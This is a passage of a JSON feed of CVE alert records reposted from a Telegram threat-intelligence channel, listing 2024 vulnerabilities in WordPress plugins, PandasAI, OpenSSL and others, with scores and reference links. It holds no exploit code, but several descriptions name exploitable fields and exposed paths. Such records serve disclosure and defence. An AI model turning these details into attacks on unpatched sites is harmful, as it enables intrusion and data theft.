"2025-02-01T09:26:08.000000Z"}, {"uuid": "25ad2df0-82f9-4d8a-b9e0-396105b3816c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3753", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12825\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The Custom Related Posts plugin for WordPress is vulnerable to unauthorized access & modification of data due to a missing capability check on three AJAX actions in all versions up to, and including, 1.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to search posts and link/unlink relations.\n\ud83d\udccf Published: 2025-02-01T09:30:28Z\n\ud83d\udccf Modified: 2025-02-01T09:30:28Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12825\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3226283%40custom-related-posts&new=3226283%40custom-related-posts&sfp_email=&sfph_mail=\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/40ba98a0-2193-4201-8370-34fd438dadb3?source=cve", "creation_timestamp": "2025-02-01T10:15:43.000000Z"}, {"uuid": "92ba9539-ad54-4e89-8496-d15cd80c81ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12366", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12366\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: PandasAI uses an interactive prompt function that is vulnerable to prompt injection and run arbitrary Python code that can lead to Remote Code Execution (RCE) instead of the intended explanation of the natural language processing by the LLM. The security controls of PandasAI (2.4.3 and earlier) fail to distinguish between legitimate and malicious inputs, allowing the attackers to manipulate the system into executing untrusted code, leading to untrusted code execution (RCE), system compromise, or pivoting attacks on connected services.\n\ud83d\udccf Published: 2025-02-11T15:32:24Z\n\ud83d\udccf Modified: 2025-02-11T21:41:47Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12366\n2. https://docs.getpanda.ai/v3/privacy-security\n3. https://docs.pandas-ai.com/advanced-security-agent\n4. https://github.com/sinaptik-ai/pandas-ai\n5. https://www.kb.cert.org/vuls/id/148244", "creation_timestamp": "2025-02-11T22:06:55.000000Z"}, {"uuid": "c095c7b9-c6db-493f-bcc4-093e18c63fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12315", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4047", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12315\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: The Export All Posts, Products, Orders, Refunds & Users plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.9.3 via the exports directory. This makes it possible for unauthenticated attackers to extract sensitive data stored insecurely in the /wp-content/uploads/smack_uci_uploads/exports/ directory which can contain information like exported user data.\n\ud83d\udccf Published: 2025-02-12T09:31:45Z\n\ud83d\udccf Modified: 2025-02-12T09:31:45Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12315\n2. https://plugins.trac.wordpress.org/browser/wp-ultimate-exporter/trunk/exportExtensions/ExportExtension.php#L1678\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3230400%40wp-ultimate-exporter&new=3230400%40wp-ultimate-exporter&sfp_email=&sfph_mail=\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/075709e0-5f00-4d7b-80f6-96e3b4b4a895?source=cve", "creation_timestamp": "2025-02-12T10:08:40.000000Z"}, {"uuid": "cbddc259-668f-4d9d-9a25-6c1d7fa6422b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12797", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3933", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12797\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 42.0.0-44.0.0 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20250211.txt.\n\nIf you are building cryptography source (\"sdist\") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.\n\ud83d\udccf Published: 2025-02-11T18:06:42Z\n\ud83d\udccf Modified: 2025-02-11T21:41:35Z\n\ud83d\udd17 References:\n1. https://github.com/pyca/cryptography/security/advisories/GHSA-79v4-65xg-pq4g\n2. https://nvd.nist.gov/vuln/detail/CVE-2024-12797\n3. https://github.com/openssl/openssl/commit/738d4f9fdeaad57660dcba50a619fafced3fd5e9\n4. https://github.com/openssl/openssl/commit/798779d43494549b611233f92652f0da5328fbe7\n5. https://github.com/openssl/openssl/commit/87ebd203feffcf92ad5889df92f90bb0ee10a699\n6. https://github.com/pyca/cryptography\n7. https://openssl-library.org/news/secadv/20250211.txt\n8. http://www.openwall.com/lists/oss-security/2025/02/11/3", "creation_timestamp": "2025-02-11T22:07:42.000000Z"}, {"uuid": "48d4949d-5d55-4e49-a23c-cd7d3549c48d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12164", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4025", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12164\n\ud83d\udd25 CVSS Score: 4.2 (CVSS_V3)\n\ud83d\udd39 Description: The WPSyncSheets Lite For WPForms \u2013 WPForms Google Spreadsheet Addon plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpsslwp_reset_settings() function in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset the plugin's settings.\n\ud83d\udccf Published: 2025-02-12T06:30:32Z\n\ud83d\udccf Modified: 2025-02-12T06:30:32Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12164\n2. https://plugins.trac.wordpress.org/browser/wpsyncsheets-wpforms/tags/1.5/includes/class-wpsslwp-service.php#L779\n3. https://plugins.trac.wordpress.org/browser/wpsyncsheets-wpforms/tags/1.5/includes/class-wpsslwp-service.php#L92\n4. https://plugins.trac.wordpress.org/changeset/3234445/wpsyncsheets-wpforms/tags/1.6.1/includes/class-wpsslwp-service.php?old=3232281&old_path=wpsyncsheets-wpforms%2Ftags%2F1.6%2Fincludes%2Fclass-wpsslwp-service.php\n5. https://www.wordfence.com/threat-intel/vulnerabilities/id/83bd48fb-f5f9-4d3d-8fc4-a06adfa5a225?source=cve", "creation_timestamp": "2025-02-12T07:09:58.000000Z"}, {"uuid": "80d2a0d5-fc39-48c9-8433-10ce1e7233cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4078", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12213\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-12T10:15:08.737\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/7cdfce88-b6c2-4820-9d6f-446f61b9b596?source=cve", "creation_timestamp": "2025-02-12T11:12:39.000000Z"}, {"uuid": "81077ad8-9aa7-4105-9fe4-04838b04e9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4077", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12296\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-12T10:15:10.230\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/dda2c437-8f41-480a-8816-2c07ab0eafa7?source=cve", "creation_timestamp": "2025-02-12T11:12:36.000000Z"}, {"uuid": "c0ac8737-01a0-4e93-91c1-2200df34aa71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12386", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4096", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12386\n\ud83d\udd25 CVSS Score: 8.0 (CVSS_V3)\n\ud83d\udd39 Description: The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.3. This is due to missing nonce validation on multiple functions. This makes it possible for unauthenticated attackers to delete arbitrary accounts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-12T12:30:47Z\n\ud83d\udccf Modified: 2025-02-12T12:30:47Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12386\n2. https://plugins.trac.wordpress.org/changeset/3238664\n3. https://wordpress.org/plugins/wp-abstracts-manuscripts-manager/#developers\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/efd27466-f68e-4d8a-a1ec-90dbb6ff126b?source=cve", "creation_timestamp": "2025-02-12T13:11:31.000000Z"}, {"uuid": "08bc8468-d971-4a3e-88f2-b271ccca5b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12213", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4100", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12213\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: The WP Job Board Pro plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.2.76. This is due to the plugin allowing a user to supply the 'role' field when registering. This makes it possible for unauthenticated attackers to register as an administrator on vulnerable sites.\n\ud83d\udccf Published: 2025-02-12T12:30:46Z\n\ud83d\udccf Modified: 2025-02-12T12:30:46Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12213\n2. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/7cdfce88-b6c2-4820-9d6f-446f61b9b596?source=cve", "creation_timestamp": "2025-02-12T13:14:07.000000Z"}, {"uuid": "1553f847-aa6d-4293-83d6-8d060c94bee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12296", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4104", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12296\n\ud83d\udd25 CVSS Score: 8.7 (CVSS_V3)\n\ud83d\udd39 Description: The Apus Framework plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'import_page_options' function in all versions up to, and including, 2.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n\ud83d\udccf Published: 2025-02-12T12:30:46Z\n\ud83d\udccf Modified: 2025-02-12T12:30:46Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12296\n2. https://themeforest.net/item/superio-job-board-wordpress-theme/32180231\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/dda2c437-8f41-480a-8816-2c07ab0eafa7?source=cve", "creation_timestamp": "2025-02-12T13:14:46.000000Z"}, {"uuid": "9db3d7c0-5efd-4388-ba10-ae00d61654a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12586", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4213", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12586\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Chalet-Montagne.com Tools WordPress plugin through 2.7.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-02-13T06:31:43Z\n\ud83d\udccf Modified: 2025-02-13T06:31:43Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12586\n2. https://wpscan.com/vulnerability/2ce05a44-762b-4aaf-b88a-92c830fd8ec4", "creation_timestamp": "2025-02-13T07:10:29.000000Z"}, {"uuid": "c96a7377-f10f-481e-8295-c15d34a83d27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4408", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12054\n\ud83d\udd25 CVSS Score: 5.4 (CVSS_V3)\n\ud83d\udd39 Description: ZF Roll Stability Support Plus (RSSPlus) \nis vulnerable to an authentication bypass vulnerability targeting \ndeterministic RSSPlus SecurityAccess service seeds, which may allow an \nattacker to remotely (proximal/adjacent with RF equipment or via pivot \nfrom J2497 telematics devices) call diagnostic functions intended for \nworkshop or repair scenarios. This can impact system availability, \npotentially degrading performance or erasing software, however the \nvehicle remains in a safe vehicle state.\n\ud83d\udccf Published: 2025-02-14T00:30:44Z\n\ud83d\udccf Modified: 2025-02-14T00:30:44Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12054\n2. https://nmfta.org/wp-content/media/2022/11/Actionable_Mitigations_Options_v9_DIST.pdf\n3. https://www.cisa.gov/news-events/ics-advisories/icsa-25-021-03", "creation_timestamp": "2025-02-14T01:17:06.000000Z"}, {"uuid": "1bc39afc-0f14-4fa2-85d4-771a74f25945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12054", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4380", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12054\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-13T23:15:09.823\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://nmfta.org/wp-content/media/2022/11/Actionable_Mitigations_Options_v9_DIST.pdf\n2. https://www.cisa.gov/news-events/ics-advisories/icsa-25-021-03", "creation_timestamp": "2025-02-14T01:11:13.000000Z"}, {"uuid": "6d7ca40b-8132-474e-af3c-8c47702c1eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4450", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12651\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-14T14:15:31.487\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0034", "creation_timestamp": "2025-02-14T15:12:28.000000Z"}, {"uuid": "07dcc82f-8943-42e6-827e-c35e61d18a6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4554", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12562\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: The s2Member Pro plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 241216 via deserialization of untrusted input from the 's2member_pro_remote_op' vulnerable parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-02-15T12:30:50Z\n\ud83d\udccf Modified: 2025-02-15T12:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12562\n2. https://s2member.com/changelog\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/65192fdb-86db-475a-8c61-4db922920cfe?source=cve", "creation_timestamp": "2025-02-15T13:11:14.000000Z"}, {"uuid": "335ee6fd-76a6-4d2e-aa95-6758847632ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4548", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12562\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-02-15T10:15:08.197\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://s2member.com/changelog/\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/65192fdb-86db-475a-8c61-4db922920cfe?source=cve", "creation_timestamp": "2025-02-15T11:10:50.000000Z"}, {"uuid": "8e0215c9-7052-4c25-9969-c9db3ef3aba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12577", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5027", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12577\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Kernel software installed and running inside a Guest VM may exploit memory shared with the GPU Firmware to write data outside the Guest's virtualised GPU memory.\n\ud83d\udccf Published: 2025-02-22T14:58:33.780Z\n\ud83d\udccf Modified: 2025-02-22T14:58:33.780Z\n\ud83d\udd17 References:\n1. https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "creation_timestamp": "2025-02-22T15:20:12.000000Z"}, {"uuid": "e1fd568c-70c7-4e9c-991b-f3b34caa5ce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12069", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4792", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12069\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Lexicata plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.0.16. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute if they can successfully trick a user into performing an action, such as clicking on a specially crafted link.\n\ud83d\udccf Published: 2025-02-19T07:32:09.799Z\n\ud83d\udccf Modified: 2025-02-19T07:32:09.799Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7541a595-aae4-49d2-862a-c1d1f4a1e6e5?source=cve\n2. https://wordpress.org/plugins/lexicata/", "creation_timestamp": "2025-02-19T08:41:12.000000Z"}, {"uuid": "8502c07f-daf1-4b55-a040-533a82d83701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4741", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12314\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Rapid Cache plugin for WordPress is vulnerable to Cache Poisoning in all versions up to, and including, 1.2.3. This is due to plugin storing HTTP headers in the cached data. This makes it possible for unauthenticated attackers to poison the cache with custom HTTP headers that may be unsanitized which can lead to Cross-Site Scripting.\n\ud83d\udccf Published: 2025-02-18T04:21:17.575Z\n\ud83d\udccf Modified: 2025-02-18T04:21:17.575Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/72b777ac-1870-4588-82fe-da96a784ec81?source=cve\n2. https://wordpress.org/plugins/rapid-cache/", "creation_timestamp": "2025-02-18T07:56:53.000000Z"}, {"uuid": "0f385cbc-66d0-4ae6-9f5a-ab742fb4aa1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12525", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4745", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12525\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Easy MLS Listings Import plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'homeasap-featured-listings' shortcode in all versions up to, and including, 2.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-18T04:21:16.077Z\n\ud83d\udccf Modified: 2025-02-18T04:21:16.077Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/6351a40d-523d-4edb-acba-5cf048a1014f?source=cve\n2. https://plugins.trac.wordpress.org/browser/easy-mls-listings-import/trunk/includes/class-homeasap-featured-listings-loader.php#L140", "creation_timestamp": "2025-02-18T07:56:56.000000Z"}, {"uuid": "cd833a77-6a8e-414c-969c-b0cceb552554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12813", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4750", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12813\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Open Hours \u2013  Easy Opening Hours plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'open-hours-current-status' shortcode in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-02-18T04:21:14.151Z\n\ud83d\udccf Modified: 2025-02-18T04:21:14.151Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/3feb5f46-e861-40ec-84e8-aade0667eec6?source=cve\n2. https://wordpress.org/plugins/open-hours/", "creation_timestamp": "2025-02-18T07:57:03.000000Z"}, {"uuid": "b4fcbdb6-af56-4561-ad9a-d7ce17d0ce38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4885", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12133\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.\n\ud83d\udccf Published: 2025-02-10T15:28:03.193Z\n\ud83d\udccf Modified: 2025-02-21T13:06:53.278Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12133\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2344611\n3. https://gitlab.com/gnutls/libtasn1/-/issues/52", "creation_timestamp": "2025-02-21T13:18:12.000000Z"}, {"uuid": "1a04e053-f87f-4e05-bdaf-67ac00df93ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12276", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4873", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12276\n\ud83d\udd25 CVSS Score: 5.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The Ultimate Member \u2013 User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to second-order SQL Injection via filenames in all versions up to, and including, 2.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with  access to upload files and manage filenames through a third-party plugin like a File Manager, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The risk of this vulnerability is very minimal as it requires a user to be able to manipulate filenames in order to successfully exploit.\n\ud83d\udccf Published: 2025-02-21T09:21:05.646Z\n\ud83d\udccf Modified: 2025-02-21T09:21:05.646Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/846f9828-2f1f-4d08-abfb-909b8d634d8a?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3242743/ultimate-member/tags/2.10.0/includes/core/class-uploader.php", "creation_timestamp": "2025-02-21T10:20:22.000000Z"}, {"uuid": "b815d6ac-d7a5-4d84-8843-c352be54b0de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12173", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4770", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12173\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Master Slider  WordPress plugin before 3.10.5 does not sanitise and escape some of its settings, which could allow high privilege users such as Editor and above to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-02-19T06:00:03.134Z\n\ud83d\udccf Modified: 2025-02-19T06:00:03.134Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/0f35be0e-0f63-4e33-aa4d-c47b1f1e0595/", "creation_timestamp": "2025-02-19T08:38:48.000000Z"}, {"uuid": "66dc953f-55bd-4522-8a75-8432701cfbc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": 